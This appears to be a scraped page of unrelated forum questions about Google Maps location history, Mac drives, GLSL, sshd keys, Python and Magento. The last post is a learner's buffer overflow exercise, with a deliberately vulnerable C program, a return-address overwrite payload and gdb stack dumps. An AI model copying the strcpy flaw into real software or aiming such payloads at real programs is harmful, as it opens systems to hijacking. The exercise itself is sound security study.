Google maps, could it be wrong or is he lying?

I’m here looking for some advice, now my partner and I have been through a very rocky patch for the last few months, we have been together 2 years but do not live together, although he stays here every night. 3 weeks ago we had a major argument and I told him it’s best you go home because I needed some time out, he had accused me of cheating on him which a few days later I managed to prove myself innocent. My problem is, on the night he went home I tried to call him before bed to say goodnight but he didn’t answer which is completely unlike him, he also didn’t read my message until the next day.

We smooth things over the next week and he comes home, I ask him where he was that night and he denies doing anything other than falling asleep early so I of course give him the benefit of the doubt. A few days later he says “you deserved what I did to you”. Now I’m not saying it’s right but curiosity got the better of me and I snooped on his laptop while he was out, his location for that night shows him at his ex gfs house until the next morning. I confronted him and would you believe he tried to accuse me of logging into his google account and sitting outside her house all night! Of course I wouldn’t do this but now that leaves me knowing it could only be him and why would he go as far as trying to switch the blame on me and imply he was innocently at home while I was logged into his maps and sat outside his ex’s house overnight with my two young kids, surely he’s going to an extreme to cover up what he did right?.

He has a google timeline history for over two years and everything on there is dead accurate, I know I’m stupid for saying it but I do want to believe my bf, could his gps have gone wrong that one night by some horrible mistake?

I confronted the ex gf, she denied it and also tried to say it must’ve been me, which I of course know it was not. Problem is, I caught him out for a drink with her using google maps last year and she denied it even to this day after he’s admitted it in front of her face so she is a known liar and I will not be able to get the truth from her.

So do I trust google maps which has been completely accurate apart from that one night last month he went missing? Or can google maps be wrong and place him at his ex’s overnight when he wasn’t there? I need to know before I leave him because I would hate to carry on with my life always thinking maybe google was wrong.

Mac thinks USB is the wrong format

I have a USB drive that I cleaned and formatted as FAT32 on my Linux machine because Diskutil disableOwnership wouldn’t work. I plugged it into the Windows machine with the files I need and copied them onto the USB with no problems. But when I plugged the USB into my Mac, it gave the error, “The disk you inserted was not readable by this computer.”

I reopened terminal and ran diskutil info. Here’s the output for the particular disk:

/dev/disk2 (external, physical):    #:                       TYPE NAME                    SIZE       IDENTIFIER    0:     Apple_partition_scheme                        *30.8 GB    disk2    1:        Apple_partition_map                         4.1 KB     disk2s1    2:                  Apple_HFS                         2.4 MB     disk2s2 

Windows and Linux are both recognizing the disk correctly as a FAT32, but MacOS thinks it is an Apple Partition scheme. What is a possible cause? Is there a way to force MacOS to recognize the disk correctly?

Note: The reason I formatted the disk with Linux was that I get the error “Couldn’t modify the partition map” when I use Diskutil to erase the disk.

Automatic display brightness in iMac behaves wrong and is only semi-automatic

I use the automatic display brightness function in the System Preferences and I have noticed that it is doing totally wrong. When I turn the feature off and set the brightness to let‘s say maximum and turn the feature on again, the maximum will be used as the standard lighting. So when I set the maximum in a dark room, it will stay this bright. I tired it with 90 % brightness. When I open my windows to let light into the room, it goes up to 100 % and by closing the windows to a totally dark room it‘s going back to the 90 %. And sometimes when I set it to like 10 %, the iMac doesn‘t even react to my flash light. After a little time of tweaking around it works again.

I have restarted the iMac a couple of times, but it didn‘t help at all.

How can I fix that stupid behavior? My iPhone does fine. It uses the real ambient lighting.

What i did is to cover the sensor, set the brightness to as low as possible and activate automation. Putting the hand away set it to an optimal level. Is this how it‘s done?

– iMac Late 2015 27″ (Mojave up-to-date, freshly installed a week ago)

– iPhone 8 Plus (iOS up-to-date)

I can’t find where is wrong of my GLSL code?

I am an iOS developer, use Xcode to compile some GLSL code. The shaderv.vsh code likes below:

attribute vec4 position; attribute vec4 positionColor; attribute vec2 textCoordinate; uniform mat4 projectionMatrix; uniform mat4 modelViewMatrix; varying lowp vec2 varyTextCoord; varying lowp vec4 varyColor;  void main() {     varyTextCoord = textCoordinate;     varyColor = positionColor;      vec4 vPos;     vPos = projectionMatrix * modelViewMatrix * position;     gl_Position = vPos; }  

And the shaderf.fsh code likes below:

precision lowp float;  varying lowp vec2 varyTextCoord; varying lowp vec4 varyColor; uniform sampler2D colorMap;  void main() {     vec4 cs = texture2D(colorMap,varyTextCoord);     vec4 cd = varyColor;     float s = 0.2;     float d = 0.5;     vec4 color = (cs * s) + (cd * d);     gl_FragColor = color; }  

When compile this code, it will be come into some error:

ERROR: 0:15: 'premature EOF' : syntax error syntax error  ERROR: 0:5: 'premature EOF' : syntax error syntax error 

I can’t find where is wrong. It has troubled me for a long time. Help me!

After installing vsftpd, sshd uses the wrong host key

Running Ubuntu 16.04 LTS, I have had an ssh server with a specified key running for a couple years. Recently, I set up vsftpd for a couple users and generated a key for it. After doing so, trying to connect to ssh now serves the key I generated for vsftpd.

The sshd_config and vsftpd.conf files both point to completely different keys so I do not understand why this is happening or how to fix it.

Is this proof of Godel’s incompleteness wrong, or am I misunderstading?

L is the set of all finite length strings.

Some subset of L are legitimate computer programs, set named F.

Some subset of F are functions that turn a Natural Number into a 1 or 0, call this set A.

Here the proof states that A contains all computable functions that fit its requirements.

If we define Function I, Fi, such that it takes the nth function from A and returns it with the nth output of that function flipped, then we can say that we now have a function which is not in A, therefore we have a function which is not computable.

The trouble I have with this proof centers on either a mistake in the proof, or my misunderstanding of what computable means, being: The program which creates L is a finite string, and with a finite modification to L, we could determine which outputs are part of A, order them, and change the nth values just as Fi does.

Since this can all be written in a finite program, despite the arguments above, I am not convinced that Fi is not a member of L, and admittedly, not certain what the term computability really means.

This is the source of this proof: Timestamped hopefully so those informed can skip to the meat of it.

What is wrong with my ‘except’ code here?

I am learning python and am working through some try and except codes. What is wrong here?

The code aims to convert the input in to an integer unless it is not numeric.

try:     def get_integer(my_var):         try:             x = round(my_var, 0)             return x         except:               y = int(my_var)             return y         except:             pass except:     print("Cannot convert!")         #Below are some lines of code that will test your function. #You can change the value of the variable(s) to test your #function with different inputs. # #If your function works correctly, this will originally #print: 5, Cannot convert!, and 5.  print(get_integer("5")) print(get_integer("Boggle.")) print(get_integer(5.1)) 

The error:

  File "", line 19               ^ SyntaxError: default 'except:' must be last Command exited with non-zero status 1 

But except is last. What am I missing?

After update to Magento 2.3.1 the visibilty of Products ist wrong

After I had “stupidly” made an update to Magento 2.31. I have the problem that my configurable child-products are displayed in the frontend.

In the admin-article-overview, the value is shown as “Catalog / Search” but in the detail view is right “not visible”

Overview: enter image description here

Detail: enter image description here

I tried everything but without success

rm -rf var/di var/generation php bin/magento cache:flush php bin/magento setup:di:compile php bin/magento indexer:reindex 

thanks for your help!

Buffer overflow exploit with python3 : wrong return adress writen

I’m trying to exploit a simple buffer overflow with gdb and peda, I just want to rewrite the return adress with the adress of a function of the program, I can easily do it with python2 but it seems to be impossible with python3, the return adress is not rewrite with the good adress.

According to the research I already did, the encoding is the cause of this problem because python2 is using ascii and python3 is using utf-8. I found some stuff on this website which didn’t help me :/

Here is the code of the vulnerable app:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <string.h>  void checkPassword(); void goodPassword();  int main(int argc, char **argv) {     printf("Debut du programme...\n");      if (argc < 2)     {         printf("Necessite un argument\n");         return 0;     }      printf("Appel de la fonction checkPassword\n");     checkPassword(argv[1]);      printf("Fin du programme\n");  }  void checkPassword(const char *arg) {     char password[64];      strcpy(password, arg);      if (strcmp(password, "fromage") == 0)     {         goodPassword();     }     else     {         printf("Mauvais mot de passe\n");     } }  void goodPassword() // This is the function I want to run, adress : 0x565562b2 {     printf("Mot de passe correcte!\n");  } 

Here is the exploit I use in python2

starti $  (python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')  

Here is the exploit I use in python3 and the stack atfer the strcpy:

starti $  (python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')  gdb-peda$   x/24xw $  esp 0xffffcc40:     0xffffcc50      0xffffcfa6      0xf7e2bca9      0x56556261 0xffffcc50:     0x41412762      0x41414141      0x41414141      0x41414141 0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc90:     0x41414141      0x41414141      0x41414141      0x785c4141 

I expect this output:

gdb-peda$   x/24xw $  esp 0xffffcc50:     0xffffcc60      0xffffcfac      0xf7e2bca9      0x56556261 0xffffcc60:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc70:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc80:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcc90:     0x41414141      0x41414141      0x41414141      0x41414141 0xffffcca0:     0x41414141      0x41414141      0x41414141      0x565562b2 

which works fine and run the goodPassword function. Thanks for help